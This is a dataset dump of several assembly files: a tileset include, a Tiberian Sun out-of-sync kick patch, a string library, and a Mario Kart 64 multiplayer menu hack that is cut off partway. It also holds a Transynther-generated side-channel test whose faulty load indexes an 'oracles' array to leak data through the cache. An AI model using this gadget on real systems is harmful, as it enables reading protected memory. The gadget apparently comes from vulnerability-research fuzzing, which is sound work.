hexsha stringlengths 40 40 | size int64 6 1.05M | ext stringclasses 3 values | lang stringclasses 1 value | max_stars_repo_path stringlengths 4 232 | max_stars_repo_name stringlengths 7 106 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 7 | max_stars_count int64 1 33.5k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 232 | max_issues_repo_name stringlengths 7 106 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 7 | max_issues_count int64 1 37.5k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 232 | max_forks_repo_name stringlengths 7 106 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 7 | max_forks_count int64 1 12.6k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 1.05M | avg_line_length float64 1.16 19.7k | max_line_length int64 2 938k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
602950e94a11776946106e527e0c020ce28ed2ba | 344 | asm | Assembly | src/tileset14x16_1.asm | dma-homebrew/dhgr | 38fb0004c6b4616243b59c675c721ba606ff874b | [
"MIT"
] | 4 | 2021-06-02T14:31:32.000Z | 2021-07-14T03:48:13.000Z | src/tileset14x16_1.asm | dma-homebrew/dhgr | 38fb0004c6b4616243b59c675c721ba606ff874b | [
"MIT"
] | null | null | null | src/tileset14x16_1.asm | dma-homebrew/dhgr | 38fb0004c6b4616243b59c675c721ba606ff874b | [
"MIT"
] | 1 | 2021-06-02T18:23:17.000Z | 2021-06-02T18:23:17.000Z | ;-----------------------------------------------------------------------------
; Paul Wasson - 2021
;-----------------------------------------------------------------------------
; Sample tiles
;-----------------------------------------------------------------------------
.org $6000
.align 256
.include "tileSheet_characters_14x16.asm"
| 26.461538 | 78 | 0.22093 |
eec3a06f4f297adde534006715a1f2fd0f231960 | 1,095 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca_notsx.log_16_273.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca_notsx.log_16_273.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xca_notsx.log_16_273.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r15
push %rax
push %rcx
push %rdi
lea addresses_A_ht+0x5412, %rax
nop
inc %r15
mov $0x6162636465666768, %rdi
movq %rdi, (%rax)
nop
nop
nop
nop
nop
and $10852, %rcx
pop %rdi
pop %rcx
pop %rax
pop %r15
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r8
push %rax
push %rbp
// Faulty Load
mov $0x251e10000000d82, %rax
nop
nop
nop
nop
sub $25260, %r8
vmovntdqa (%rax), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $1, %xmm4, %rbp
lea oracles, %rax
and $0xff, %rbp
shlq $12, %rbp
mov (%rax,%rbp,1), %rbp
pop %rbp
pop %rax
pop %r8
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_NC', 'NT': True, 'AVXalign': False, 'size': 32, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 2}}
{'00': 16}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 17.66129 | 123 | 0.654795 |
784fc0a2b6faf76bde75c8d6ccb7ba5dea361129 | 2,249 | asm | Assembly | src/recon_kick.asm | mvdhout1992/ts-patches | a426970abeb6993eea6703d1a756fd74489ffed2 | [
"MIT"
] | 33 | 2016-07-30T14:17:28.000Z | 2021-12-19T15:45:19.000Z | src/recon_kick.asm | A-Productions/ts-patches | 326db731f7226d9e803feab475777c730688634e | [
"MIT"
] | 73 | 2018-08-17T00:25:19.000Z | 2021-05-10T08:31:15.000Z | src/recon_kick.asm | A-Productions/ts-patches | 326db731f7226d9e803feab475777c730688634e | [
"MIT"
] | 18 | 2017-05-16T11:28:06.000Z | 2022-03-20T20:41:03.000Z | %include "TiberianSun.inc"
%include "macros/patch.inc"
%include "macros/datatypes.inc"
;;; If a wrong CRC comes in from a player, we try to
;;; broadcast a REMOVEPLAYER message to everyone.
cextern SavesDisabled
sstring str_PlayerOutOfSync, "Player has gone out of sync"
@LJNZ 0x005B4F5F, _Execute_DoList_dont_recon
section .bss
OutOfSyncArray RESB 8
section .text
_Execute_DoList_dont_recon:
mov edx, [eax+0xc+0x6] ;ID
mov eax, [PlayerPtr]
mov eax, [eax+0x20]
cmp edx, eax
je 0x005B4F65
cmp byte [OutOfSyncArray+edx], 1
je 0x005B4F65
mov eax, [HumanNode_ActiveCount]
cmp dword[HumanNode_ActiveCount], 3 ; Do regular recon if only 2 players
jl 0x005B5329
mov byte [OutOfSyncArray+edx], 1
push edx ; Store ID
push esi
push ebx
sub esp, 46 ; sizeof(EventClass)
mov ecx, esp
push edx
push dword 0x22 ; REMOVEPLAYER
mov eax, [PlayerPtr]
mov eax, [eax+0x20] ; HouseClass.ID
push eax
call EventClass__EventClass_PlayerID
mov ecx, esp
call EventClass__EnqueueEvent
add esp, 46
mov edx, dword[esp+8]
; Calculate message duration
mov eax, [Rules]
fld qword [eax+0C68h] ; Message duration in minutes
fmul qword [0x006CB1B8] ; Frames Per Minute
call Get_Message_Delay_Or_Duration ; Foat to int
; Push arguments
push eax ; Message delay/duration
push 4046h ; Very likely TextPrintType
mov ecx, MessageListClass_this
push 0 ; Color to use?
lea edx, [str_PlayerOutOfSync]
push edx
push 0
push 0
call MessageListClass__Add_Message
pop ebx
pop esi
lea eax, [esi+ebx] ; Write SYNC file
and eax, dword 0xFFF
lea ecx, [eax+eax*2]
shl ecx, 3
sub ecx, eax
lea ecx, [ecx*2+EventType_Offset]
call Print_CRCs
pop edx ; Retrieve ID
; jmp 0x005B4F65
jmp 0x005B4F72
; Hack the REMOVEPLAYER event
hack 0x00494EE4
mov dword [AutoSaveGame], -1
mov byte [SavesDisabled], 1
mov eax, [esi+0x6]
cmp byte [OutOfSyncArray+eax], 1
jz 0x00494F1D
mov eax, [Frame]
jmp hackend
| 22.94898 | 77 | 0.635838 |
f2a083d6d7507e8180e95f46c01756f32f662740 | 2,797 | asm | Assembly | std/cstr.asm | mossx-dev/Mycore | eb84409f1a263204d30ef0b9d4254a96a121726f | [
"MIT"
] | null | null | null | std/cstr.asm | mossx-dev/Mycore | eb84409f1a263204d30ef0b9d4254a96a121726f | [
"MIT"
] | null | null | null | std/cstr.asm | mossx-dev/Mycore | eb84409f1a263204d30ef0b9d4254a96a121726f | [
"MIT"
] | null | null | null | ;; Author: Moss Gallagher
;; Data: 13-Oct-21
%ifndef _Mycelium_std_cstr_
%define _Mycelium_std_cstr_
%include "std/sys.asm"
%include "std/mem.asm"
%include "std/out.asm"
; Args:
; rax: the string whose length is being calculated
; Returns:
; rsi: the length
cstr~length:
push rbp
mov rbp, rsp
mov [rbp-12], rax
push rbx
push rcx
push rdx
mov rbx, 0
jmp .loop_check
.loop:
add rbx, 1
.loop_check:
mov rcx, rax
add rcx, rbx
mov rdx, [rcx]
cmp dl, 0
jne .loop
mov rsi, rbx
pop rdx
pop rcx
pop rbx
pop rbp
ret
; Args
; rax: string
; Returns
; void
cstr~del:
push rax
call cstr~length
mov rbx, rsi
pop rax
call mem~deallocate
ret
; Args
; rax: string 1
; rbx: string 2
; Returns
; zf: If the two strings are equal
cstr~compare:
push r8 ; Counter
push r9 ; String 1
push r10 ; String 2
push r11 ; Length
mov r9, rax
mov r10, rbx
xor r8, r8
call cstr~length
mov r11, rsi
mov rax, r10
call cstr~length
cmp r11, rsi
jne .not_equal
jmp .loop_check
.loop:
mov rax, [r9+r8]
mov rbx, [r10+r8]
cmp rax, rbx
jne .not_equal
.loop_check:
cmp r8, r11
jl .loop
.equal:
mov r11, 1
cmp r11, 1
jmp .return
.not_equal:
mov r11, 1
cmp r11, 0
.return:
pop r11
pop r10
pop r9
pop r8
ret
; Args
; rax: the string to be printed
; Returns
; void
cstr~print:
push rbp
mov rbp, rsp
; Perserve the used regiser value
push rbx
push rsi
call cstr~length
mov rbx, rsi
call out~puts
pop rsi
pop rbx
pop rbp
ret
; Args
; rax: the string to be printed
; Returns
; void
cstr~println:
push rbp
mov rbp, rsp
; Perserve the used regiser value
push rdi
push rbx
push rcx
push rdx
push r8
push rsi
call cstr~length ; Get the length with the string on rax
lea r8, [rax] ; Get the start of the string
add r8, rsi ; Move to the end of the string
mov dl, 0xA
mov [r8], dl ; Put the new line at the end of the string. This removes the null terminator but doesn't affect any other data
mov rbx, rsi
add rbx, 1 ; Increase the length of the string since we added a character
call out~puts ; Write the string to sys~out
mov dl, 0
mov [r8], dl ; Re-add the null terminator
pop rsi
pop r8
pop rdx
pop rcx
pop rbx
pop rdi
pop rbp
ret
%endif ; ifdef guard
| 16.748503 | 143 | 0.543797 |
cef050c31652717a6782f0c2b90d5d35a4a651f7 | 188 | asm | Assembly | inc/yesno.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | inc/yesno.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | inc/yesno.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | ;
; Microsoft Confidential
; Copyright (C) Microsoft Corporation 1991
; All Rights Reserved.
;
; This is for contry Yes and No
PUBLIC NLS_YES,NLS_yes2,NLS_NO,NLS_no2
include msdos.cl3
| 18.8 | 42 | 0.765957 |
be9030d3b8ab32852be9aaeca10a8e5cf75a9b78 | 352 | asm | Assembly | fasmg/examples/x86/multiseg.asm | thaolt/c8basic | 9bbe64dde58499c6e09d393a8f7e47e3aa10ea62 | [
"MIT"
] | 4 | 2019-05-22T13:15:02.000Z | 2021-05-23T19:12:04.000Z | external/fasmg/examples/x86/multiseg.asm | hpdporg/datap | bfbe7544ba6e8aadbfa2b1d8b8cc021677458860 | [
"BSD-3-Clause"
] | null | null | null | external/fasmg/examples/x86/multiseg.asm | hpdporg/datap | bfbe7544ba6e8aadbfa2b1d8b8cc021677458860 | [
"BSD-3-Clause"
] | null | null | null |
include '8086.inc'
include 'format/mz.inc'
entry code:start ; program entry point
stack 100h ; stack size
segment code
start:
mov ax,data
mov ds,ax
mov dx,hello
call extra:write_text
mov ax,4C00h
int 21h
segment data
hello db 'Hello world!',24h
segment extra
write_text:
mov ah,9
int 21h
retf
| 11.733333 | 41 | 0.644886 |
66bef38b784e7a8c35bd7ada25b818370a81fdbb | 26,236 | asm | Assembly | Patches/Multiplayer_Hack/mk64_multiplayer_hack.asm | abitalive/MarioKart64 | 1d72ff1e4534d5a3131e337e3aa28e01ddd17e15 | [
"MIT"
] | 29 | 2016-05-10T04:23:32.000Z | 2022-01-27T17:13:54.000Z | Patches/Multiplayer_Hack/mk64_multiplayer_hack.asm | abney317/MarioKart64 | 1d72ff1e4534d5a3131e337e3aa28e01ddd17e15 | [
"MIT"
] | 7 | 2016-05-11T04:57:28.000Z | 2020-06-29T04:14:23.000Z | Patches/Multiplayer_Hack/mk64_multiplayer_hack.asm | abney317/MarioKart64 | 1d72ff1e4534d5a3131e337e3aa28e01ddd17e15 | [
"MIT"
] | 9 | 2016-05-11T04:56:07.000Z | 2022-01-23T12:30:04.000Z | arch n64.cpu
endian msb
//output "", create
include "..\LIB\N64.inc"
include "..\LIB\functions.inc"
include "..\LIB\macros.inc"
origin 0x0
insert "..\LIB\Mario Kart 64 (U) [!].z64"
constant ModeSelection(0x800DC53C)
constant CourseSelection1(0x800DC5A0)
constant CupSelection(0x8018EE09)
constant CourseSelection2(0x8018EE0B)
constant Options(0x80500000)
// Init
origin 0x0029F0
base 0x80001DF0
nop // Disable resource display function
origin 0x001E6C
base 0x8000126C
jal ResourceDisplay1
nop
// Runs once at boot
// Available registers: all
// Replaces resource display function
origin 0x004704
base ResourceDisplay1
scope Init: {
addiu sp, -0x18
sw ra, 0x14 (sp)
jal 0x800010CC // Original instruction
nop
DMA:
la a0, 0x80400000 // RAM destination
li a1, 0xBE9170 // ROM source
li a2, 0x16E90 // Size
jal DmaCopy // DMA copy end of ROM to Expansion Pak area
nop
Menu:
la t0, Options
addiu t1, t0, 0x10 // 15 menu options
li t2, 0x01010101
Loop:
sw t2, 0 (t0) // Initialize cursor and options with 0x01
addiu t0, 0x04
bne t0, t1, Loop
nop
Default:
la t0, Options
ori t1, r0, 0x02
sb t1, 8 (t0) // Versus Tracks
sb t1, 12 (t0) // Character Stats
sb t1, 13 (t0) // Versus Scores
lw ra, 0x14 (sp)
jr ra
addiu sp, 0x18
}
// Menu Strings
//
// 00000000 Settings count
// 00000000 Pointer to entry string
// 00000000 00000000 00000000 00000000 Pointers to settings strings
MenuStrings:
dd 0x00000002 // Tracks
dd MenuEntry1
dd MenuEntry1Setting1, MenuEntry1Setting2, 0x00000000
dd 0x00000003 // Scaling
dd MenuEntry2
dd MenuEntry2Setting1, MenuEntry2Setting2, MenuEntry2Setting3, 0x00000000
dd 0x00000002 // Widescreen
dd MenuEntry3
dd MenuEntry3Setting1, MenuEntry3Setting2, 0x00000000
dd 0x00000002 // Trophies
dd MenuEntry4
dd MenuEntry4Setting1, MenuEntry4Setting2, 0x00000000
dd 0x00000002 // Multiplayer Music
dd MenuEntry5
dd MenuEntry5Setting1, MenuEntry5Setting2, 0x00000000
dd 0x00000002 // Multiplayer KD Train
dd MenuEntry6
dd MenuEntry6Setting1, MenuEntry6Setting2, 0x00000000
dd 0x00000002 // Multiplayer DKJP Boat
dd MenuEntry7
dd MenuEntry7Setting1, MenuEntry7Setting2, 0x00000000
dd 0x00000002 // Versus Tracks
dd MenuEntry8
dd MenuEntry8Setting1, MenuEntry8Setting2, 0x00000000
dd 0x00000002 // Versus Timer
dd MenuEntry9
dd MenuEntry9Setting1, MenuEntry9Setting2, 0x00000000
dd 0x00000003 // Gold Mushroom
dd MenuEntry10
dd MenuEntry10Setting1, MenuEntry10Setting2, MenuEntry10Setting3, 0x00000000
dd 0x00000009 // Items
dd MenuEntry11
dd MenuEntry11Setting1, MenuEntry11Setting2, MenuEntry11Setting3, MenuEntry11Setting4
dd MenuEntry11Setting5, MenuEntry11Setting6, MenuEntry11Setting7, MenuEntry11Setting8
dd MenuEntry11Setting9, 0x00000000
dd 0x00000002 // Character Stats
dd MenuEntry12
dd MenuEntry12Setting1, MenuEntry12Setting2, 0x00000000
dd 0x00000002 // Versus Scores
dd MenuEntry13
dd MenuEntry13Setting1, MenuEntry13Setting2, 0x00000000
dd 0x00000000, 0x00000000
MenuEntry1:
Asciiz("tracks")
MenuEntry1Setting1:
Asciiz("default")
MenuEntry1Setting2:
Asciiz("random")
MenuEntry2:
Asciiz("scaling")
MenuEntry2Setting1:
Asciiz("default")
MenuEntry2Setting2:
Asciiz("30 fps")
MenuEntry2Setting3:
Asciiz("60 fps")
MenuEntry3:
Asciiz("widescreen")
MenuEntry3Setting1:
Asciiz("default")
MenuEntry3Setting2:
Asciiz("enabled")
MenuEntry4:
Asciiz("trophies")
MenuEntry4Setting1:
Asciiz("default")
MenuEntry4Setting2:
Asciiz("skip")
MenuEntry5:
Asciiz("mp music")
MenuEntry5Setting1:
Asciiz("default")
MenuEntry5Setting2:
Asciiz("enabled")
MenuEntry6:
Asciiz("mp train")
MenuEntry6Setting1:
Asciiz("default")
MenuEntry6Setting2:
Asciiz("full")
MenuEntry7:
Asciiz("mp boat")
MenuEntry7Setting1:
Asciiz("default")
MenuEntry7Setting2:
Asciiz("enabled")
MenuEntry8:
Asciiz("vs tracks")
MenuEntry8Setting1:
Asciiz("default")
MenuEntry8Setting2:
Asciiz("all cups")
MenuEntry9:
Asciiz("vs timer")
MenuEntry9Setting1:
Asciiz("default")
MenuEntry9Setting2:
Asciiz("enabled")
MenuEntry10:
Asciiz("gold shroom")
MenuEntry10Setting1:
Asciiz("default")
MenuEntry10Setting2:
Asciiz("feather small")
MenuEntry10Setting3:
Asciiz("feather big")
MenuEntry11:
Asciiz("items")
MenuEntry11Setting1:
Asciiz("default")
MenuEntry11Setting2:
Asciiz("player 1")
MenuEntry11Setting3:
Asciiz("player 2")
MenuEntry11Setting4:
Asciiz("player 3")
MenuEntry11Setting5:
Asciiz("player 4")
MenuEntry11Setting6:
Asciiz("player 5")
MenuEntry11Setting7:
Asciiz("player 6")
MenuEntry11Setting8:
Asciiz("player 7")
MenuEntry11Setting9:
Asciiz("player 8")
MenuEntry12:
Asciiz("stats")
MenuEntry12Setting1:
Asciiz("default")
MenuEntry12Setting2:
Asciiz("all yoshi")
MenuEntry13:
Asciiz("vs scores")
MenuEntry13Setting1:
Asciiz("default")
MenuEntry13Setting2:
Asciiz("enabled")
TitleString:
Asciiz("abitalive weatherton abney sully")
fill 0x800040C0 - pc() // Zero fill remainder of resource display function
// Menu
origin 0x0957D0
base 0x80094BD0
jal 0x80400000
nop
origin 0xBE9170
base 0x80400000
addiu sp, -0x30
sw ra, 0x14 (sp)
jal 0x800A8230
nop
jal LoadDebugFont
nop
Title:
ori a0, r0, 0x00
ori a1, r0, -0x08
la a2, TitleString
jal DebugPrintStringCoord
nop
la t0, MenuStrings // Array start
addiu t1, r0, 0x01 // Entry number
addiu a1, r0, 0x50 // Y coordinate
MenuArrayLoop:
lw t2, 0x04 (t0) // Entry character string
beq t2, r0, MenuInput
nop
lui t3, 0x8050
addu t3, t3, t1
lb t3, 0 (t3)
sll t3, 0x02
addiu t3, 0x04
addu t3, t0, t3 // Pointer to setting character string
lw t3, 0 (t3) // Setting character string
sw t0, 0x18 (sp) // Array position
sw t1, 0x1C (sp) // Entry number
sw a1, 0x20 (sp) // Y coordinate
sw t2, 0x24 (sp) // Entry character string
sw t3, 0x28 (sp) // Setting character string
PrintCursor:
lui t4, 0x8050
lb t4, 0 (t4)
bne t1, t4, PrintEntry
nop
addiu a0, r0, 0x46 // X coordinate
la a2, 0x800F0B64
jal DebugPrintStringCoord
nop
lw a1, 0x20 (sp) // Y coordinate
lw t2, 0x24 (sp) // Entry character string
PrintEntry:
addiu a0, r0, 0x50 // X coordinate
addu a2, t2, r0 // Entry character string
jal DebugPrintStringCoord
nop
PrintSetting:
addiu a0, r0, 0xAA // X coordinate
lw a1, 0x20 (sp) // Y coordinate
lw a2, 0x28 (sp) // Setting character string
jal DebugPrintStringCoord
nop
lw t0, 0x18 (sp) // Array position
MenuEntryLoop: // Find entry size
lw t2, 0 (t0)
addiu t0, 0x04
beq t2, r0, MenuEntryLoopEnd
nop
b MenuEntryLoop
nop
MenuEntryLoopEnd:
lw t1, 0x1C (sp) // Entry number
addiu t1, 0x01
lw a1, 0x20 (sp) // Y coordinate
addiu a1, 0x0A
b MenuArrayLoop
nop
MenuInput:
lui t0, 0x8050
la t1, 0x800F6910 // Controller structs
MenuInputLoop:
lh t2, 0x06 (t1) // Current input
lb t3, 0 (t0) // Cursor flag
MenuInputUp:
addiu t4, r0, 0x0800
bne t2, t4, MenuInputDown
nop
addiu t3, -0x01
beq t3, r0, MenuInputLoopEnd
nop
sb t3, 0 (t0)
MenuInputDown:
addiu t4, r0, 0x0400
bne t2, t4, MenuInputLeft
nop
la t4, MenuStrings
addu t5, r0, r0
MenuInputDownLoop:
lw t6, 0 (t4)
beq t6, r0, MenuInputDownLoopEnd
nop
addiu t5, 0x01
MenuInputDownLoopLoop: // Find entry size
lw t8, 0 (t4)
addiu t4, 0x04
beq t8, r0, MenuInputDownLoopLoopEnd
nop
b MenuInputDownLoopLoop
nop
MenuInputDownLoopLoopEnd:
b MenuInputDownLoop
nop
MenuInputDownLoopEnd:
beq t3, t5, MenuInputLoopEnd
nop
addiu t3, 0x01
sb t3, 0 (t0)
MenuInputLeft:
addiu t4, r0, 0x0200
bne t2, t4, MenuInputRight
nop
addu t4, t0, t3
lb t5, 0 (t4)
addiu t5, -0x01
beq t5, r0, MenuInputLoopEnd
nop
sb t5, 0 (t4)
MenuInputRight:
addiu t4, r0, 0x0100
bne t2, t4, MenuInputLoopEnd
nop
addu t4, t0, t3
lb t5, 0 (t4)
addiu t6, r0, 0x01
la t7, MenuStrings
MenuInputRightLoop:
beq t3, t6, MenuInputRightLoopEnd
nop
addiu t6, 0x01
MenuInputRightLoopLoop: // Find entry size
lw t8, 0 (t7)
addiu t7, 0x04
beq t8, r0, MenuInputRightLoopLoopEnd
nop
b MenuInputRightLoopLoop
nop
MenuInputRightLoopLoopEnd:
b MenuInputRightLoop
nop
MenuInputRightLoopEnd:
lw t7, 0 (t7)
beq t7, t5, MenuInputLoopEnd
nop
addiu t5, 0x01
sb t5, 0 (t4)
MenuInputLoopEnd:
la t4, 0x800F6940
beq t1, t4, MenuEnd
nop
addiu t1, 0x10
b MenuInputLoop
nop
MenuEnd:
lw ra, 0x14 (sp)
jr ra
addiu sp, 0x30
// Same Character
scope SameCharacter: {
sb s0, 0 (t9) // Store menu position
beq v0, r0, End
nop
li a0, 0x49008000 // Selection scroll
jal PlaySound2 // Play sound
nop
End:
j 0x800B3A50
nop
}
// Random Tracks
scope RandomTracks: {
LuiLb(t0, Options+1)
OriBeq(t0, 0x01, t1, End) // Skip if option disabled
LuiLw(t0, ModeSelection) // Determine the current mode
Versus:
OriBne(t0, 0x02, t1, Battle) // If mode == Versus
jal RandomInt // Call random function with range 0x00-0x10
ori a0, r0, 0x10
OriBne(v0, 0x0F, t1, Store) // Store the returned value if != 0x0F (BF)
ori v0, r0, 0x12 // Swap 0x0F (BF) with 0x12 (DKJP)
b Store
nop
Battle:
OriBne(t0, 0x03, t1, End) // Else if mode == Battle
jal RandomInt // Call random function with range 0x00-0x03
ori a0, r0, 0x04
addiu v0, 0x10 // Add 0x10 to the returned value
OriBne(v0, 0x12, t1, Store) // Store the result if != 0x12 (DKJP)
ori v0, r0, 0x0F // Swap 0x12 (DKJP) with 0x0F (BF)
Store:
LuiSh(v0, CourseSelection1, t0)
End:
lw ra, 0x14 (sp)
jr ra
addiu sp, 0x28
}
// Scaling Fix
scope ScalingFix1p: { // Available registers: t5, at
LuiLb(t5, Options+2)
Disabled:
OriBne(t5, 0x01, at, Fps30) // If option disabled
LuiLw(t7, 0x80150114) // Original instructions
b End
nop
Fps30:
OriBne(t5, 0x02, at, Fps60) // Else if option set to 30 fps
ori t7, r0, 0x02 // Return 2
b End
nop
Fps60:
OriBne(t5, 0x03, at, End) // Else if option set to 60 fps
ori t7, r0, 0x01 // Return 1
End:
jr ra
nop
}
scope ScalingFix2p: { // Available registers: t8, at
LuiLb(t8, Options+2)
Disabled:
OriBne(t8, 0x01, at, Fps30) // If option disabled
LuiLw(t1, 0x80150114) // Original instructions
b End
nop
Fps30:
OriBne(t8, 0x02, at, Fps60) // Else if option set to 30 fps
ori t1, r0, 0x02 // Return 2
b End
nop
Fps60:
OriBne(t8, 0x03, at, End) // Else if option set to 60 fps
ori t1, r0, 0x01 // Return 1
End:
jr ra
nop
}
scope ScalingFix3p: { // Available registers: t9, at
LuiLb(t9, Options+2)
Disabled:
OriBne(t9, 0x01, at, Fps30) // If option disabled
LuiLw(t2, 0x80150114) // Original instructions
b End
nop
Fps30:
OriBne(t9, 0x02, at, Fps60) // Else if option set to 30 fps
ori t2, r0, 0x02 // Return 2
b End
nop
Fps60:
OriBne(t9, 0x03, at, End) // Else if option set to 60 fps
ori t2, r0, 0x01 // Return 1
End:
jr ra
nop
}
scope ScalingFixPost: { // Available registers: t7, at
LuiLb(t7, Options+2)
Disabled:
OriBne(t7, 0x01, at, Fps30) // If option disabled
LuiLw(t9, 0x80150114) // Original instructions
b End
nop
Fps30:
OriBne(t7, 0x02, at, Fps60) // Else if option set to 30 fps
ori t9, r0, 0x02 // Return 2
b End
nop
Fps60:
OriBne(t7, 0x03, at, End) // Else if option set to 60 fps
ori t9, r0, 0x01 // Return 1
End:
jr ra
nop
}
// Widescreen
scope Widescreen: {
LuiLb(t0, Options+3)
Disabled:
OriBne(t0, 0x01, t1, Enabled) // If option disabled
LuiLw(a3, 0x80150148) // Original instruction
b End
nop
Enabled:
OriBne(t0, 0x02, t1, End) // Else if option enabled
Fullscreen:
LuiLw(t0, 0x80150148)
LiBne(t0, 0x3FAAAAAB, t1, Widescreen) // If AR == 1.33333
li a3, 0x3FDFAAAB // Return 1.7474
b End
nop
Widescreen:
LuiLw(t0, 0x80150148)
LiBne(t0, 0x402AAAAB, t1, Current) // Else if AR == 2.66667
li a3, 0x4060AAAB // Return 3.51042
b End
nop
Current:
LuiLw(a3, 0x80150148) // Else return current value
End:
jr ra
nop
}
// Skip Trophy Ceremony
scope SkipTrophy: {
LuiLb(t0, Options+4)
Disabled:
OriBne(t0, 0x01, t1, Enabled) // If option disabled
addiu t7, r0, 0x05 // Original instruction
b End
nop
Enabled:
OriBne(t0, 0x02, t1, End) // If option enabled
ori t7, r0, 0x01 // Skip to main menu
End:
j 0x8028E3DC
nop
}
// Multiplayer Music
scope MultiplayerMusic: {
LuiLb(t0, Options+5)
Disabled:
OriBne(t0, 0x01, t1, Enabled) // If option disabled
LuiLw(t6, 0x800DC530) // Original instructions
b End
nop
Enabled:
OriBne(t0, 0x02, t1, End) // If option enabled
ori t6, r0, 0x01 // Return 1 player
End:
j 0x8028ECA0
nop
}
scope MultiplayerMusicL: { // Available registers: t0, at
LuiLb(t0, Options+5)
Disabled:
OriBne(t0, 0x01, at, Enabled) // If option disabled
LuiLw(t1, 0x800DC52C) // Original instructions
b End
nop
Enabled:
OriBne(t0, 0x02, at, End) // If option enabled
ori t1, r0, 0x01 // Return 1 player
End:
jr ra
nop
}
// Multiplayer KD Train
scope MultiplayerTrain: { // Available registers: t5, a2
LuiLb(t5, Options+6)
Disabled:
OriBne(t5, 0x01, a2, Enabled) // If option disabled
LuiLw(v0, 0x800DC530) // Original instructions
b End
nop
Enabled:
OriBne(t5, 0x02, a2, End) // If option enabled
ori v0, r0, r0 // Return 1 player
End:
jr ra
nop
}
// Multiplayer DKJP Boat
scope MultiplayerBoat: { // Available registers: at, a0
LuiLb(at, Options+7)
Disabled:
OriBne(at, 0x01, a0, Enabled) // If option disabled
lb t7, 0 (t2) // Original instruction
b End
nop
Enabled:
OriBne(at, 0x02, a0, End) // Else if option enabled
ori t7, r0, 0x01 // Return 1 player
End:
j 0x80013354
nop
}
// Versus All Cups
scope VersusAllCups: { // Available registers: all
addiu sp, -0x18
sw ra, 0x14 (sp)
jal 0x80290388 // Original instruction
nop
LuiLb(t0, Options+8)
OriBeq(t0, 0x01, t1, End) // Skip if option disabled
LuiLw(t0, ModeSelection)
OriBne(t0, 0x02, t1, End) // Skip if mode != Versus
RainbowRoad:
LuiLh(t0, CourseSelection1)
OriBne(t0, 0x0D, t1, IncrementCup) // If course == Rainbow Road
LuiSb(r0, CupSelection, t1) // Reset cup
LuiSb(r0, CourseSelection2, t1) // Reset course
b End
nop
IncrementCup:
LuiLb(t0, CourseSelection2)
OriBne(t0, 0x03, t1, IncrementCourse) // Else if course == 3
LuiLb(t0, CupSelection)
addiu t0, 0x01 // Increment cup
LuiSb(t0, CupSelection, t1)
LuiSb(r0, CourseSelection2, t1) // Reset course
b End
nop
IncrementCourse:
LuiLb(t0, CourseSelection2)
addiu t0, 0x01 // Else increment course
LuiSb(t0, CourseSelection2, t1)
End:
lw ra, 0x14 (sp)
jr ra
addiu sp, 0x18
}
// Versus Timer
scope VersusTimer: { // Available registers: all
LuiLb(t0, Options+9)
Disabled:
OriBne(t0, 0x01, t1, Enabled) // If option disabled
LuiLw(v0, ModeSelection) // Original instructions
b End
nop
Enabled:
OriBne(t0, 0x02, t1, End) // Else if option enabled
LuiLw(t0, ModeSelection)
OriBne(t0, 0x02, t1, Current) // If mode == Versus
Versus:
ori v0, r0, r0 // Return GP mode
b End
nop
Current:
LuiLw(v0, ModeSelection) // Else return current mode
End:
j 0x8004FA84
nop
}
// Gold Mushroom
// Available registers: all except t7
// Returns: t8
scope GoldMushroom: {
LuiLb(t0, Options+10)
Disabled:
OriBne(t0, 0x01, t1, FeatherSmall) // If option disabled
ori t8, t7, 0x0200 // Original instruction
b End
nop
FeatherSmall:
OriBne(t0, 0x02, t1, FeatherBig) // Else if option set to feather small
ori t8, t7, 0x1000 // Activate small feather jump state
b End
nop
FeatherBig:
OriBne(t0, 0x03, t1, End) // Else if option set to feather big
lui t0, 0x02
or t8, t0 // Activate large feather jump state
End:
j 0x802B30D4
sw t8, 0x000C (a0) // Store new state
}
// Player Items
// Runs once when players receive an item
// Available registers: all
// Returns: a0
